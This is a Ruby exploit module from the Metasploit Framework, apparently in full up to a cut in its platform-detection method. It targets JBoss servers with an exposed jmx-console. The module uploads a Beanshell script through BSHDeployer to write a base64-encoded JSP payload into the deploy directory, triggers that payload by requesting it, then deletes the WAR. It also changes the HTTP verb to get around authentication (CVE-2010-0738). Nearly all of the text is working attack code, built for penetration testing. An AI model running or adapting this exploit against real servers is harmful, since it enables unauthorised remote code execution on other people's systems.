## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss JMX Console Beanshell Deployer WAR upload and deployment', 'Description' => %q{ This module can be used to install a WAR file payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:BSHDeployer\'s createScriptDeployment() method. }, 'Author' => [ 'Patrick Hof', 'jduck', 'Konrads Smelkovs' ], 'License' => BSD_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ] ], 'Privileged' => true, 'Platform' => [ 'windows', 'linux' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Universal', { 'Arch' => ARCH_JAVA, 'Payload' => { 'DisableNops' => true }, } ], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('SHELL', [ false, 'The system shell to use', 'auto' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]), OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]) ], self.class) end def exploit datastore['BasicAuthUser'] = datastore['USERNAME'] datastore['BasicAuthPass'] = datastore['PASSWORD'] jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8)) verb = datastore['VERB'] if (verb != 'GET' and verb != 'POST') verb = 'HEAD' end p = payload if datastore['SHELL'] == 'auto' if verb != 'HEAD' if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' end case plat when 'linux' datastore['SHELL'] = '/bin/sh' when 'win' datastore['SHELL'] = 'cmd.exe' end print_status("SHELL set to #{datastore['SHELL']}") else raise RuntimeError, 'Platform detection with HEAD is not supported, please set SHELL manually' end # Payload generation already happened, therefore SHELL will # already be 'automatic' in the payload regardless of what we set above. # To fix this, we regenerate the payload now.. return if ((p = exploit_regenerate_payload(platform, target_arch)) == nil) end # The following Beanshell script will write the exploded WAR file to the deploy/ # directory encoded_payload = [p.encoded].pack('m').gsub(/\n/, '') bsh_script = <<-EOT import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val = "#{encoded_payload}"; BASE64Decoder decoder = new BASE64Decoder(); String jboss_home = System.getProperty("jboss.server.home.dir"); new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir(); byte[] byteval = decoder.decodeBuffer(val); String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}"; FileOutputStream fstream = new FileOutputStream(jsp_file); fstream.write(byteval); fstream.close(); EOT # # UPLOAD # print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer") if datastore['PACKAGE'] == 'auto' packages = %w{ deployer scripts } else packages = [ datastore['PACKAGE'] ] end pkg = nil success = false packages.each do |p| print_status("Attempting to use '#{p}' as package") res = invoke_bshscript(bsh_script, p, verb) if !res raise RuntimeError, "Unable to deploy WAR [No Response]" end if (res.code < 200 || res.code >= 300) case res.code when 401 print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end print_error("Upload to deploy WAR [#{res.code} #{res.message}]") else success = true pkg = p break end end if not success raise RuntimeError("Deployment failed") end # # EXECUTE # uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Executing #{uri}...") # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts = 5 num_attempts.times { |attempt| res = send_request_cgi({ 'uri' => uri, 'method' => verb }, 20) msg = nil if (! res) msg = "Execution failed on #{uri} [No Response]" elsif (res.code < 200 or res.code >= 300) msg = "Execution failed on #{uri} [#{res.code} #{res.message}]" elsif (res.code == 200) print_good("Successfully triggered payload at '#{uri}'") break end if (attempt < num_attempts - 1) msg << ", retrying in 5 seconds..." print_error(msg) select(nil, nil, nil, 5) else print_error(msg) end } # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. bsh_script = <<-EOT String jboss_home = System.getProperty("jboss.server.home.dir"); new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete(); new File(jboss_home + "/deploy/#{app_base + '.war'}").delete(); EOT print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...") res = invoke_bshscript(bsh_script, pkg, verb) if !res print_error("WARNING: Unable to remove WAR [No Response]") end if (res.code < 200 || res.code >= 300) print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end handler end # Try to autodetect the target platform def detect_platform() print_status("Attempting to automatically detect the platform...") path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end if (res.body =~ /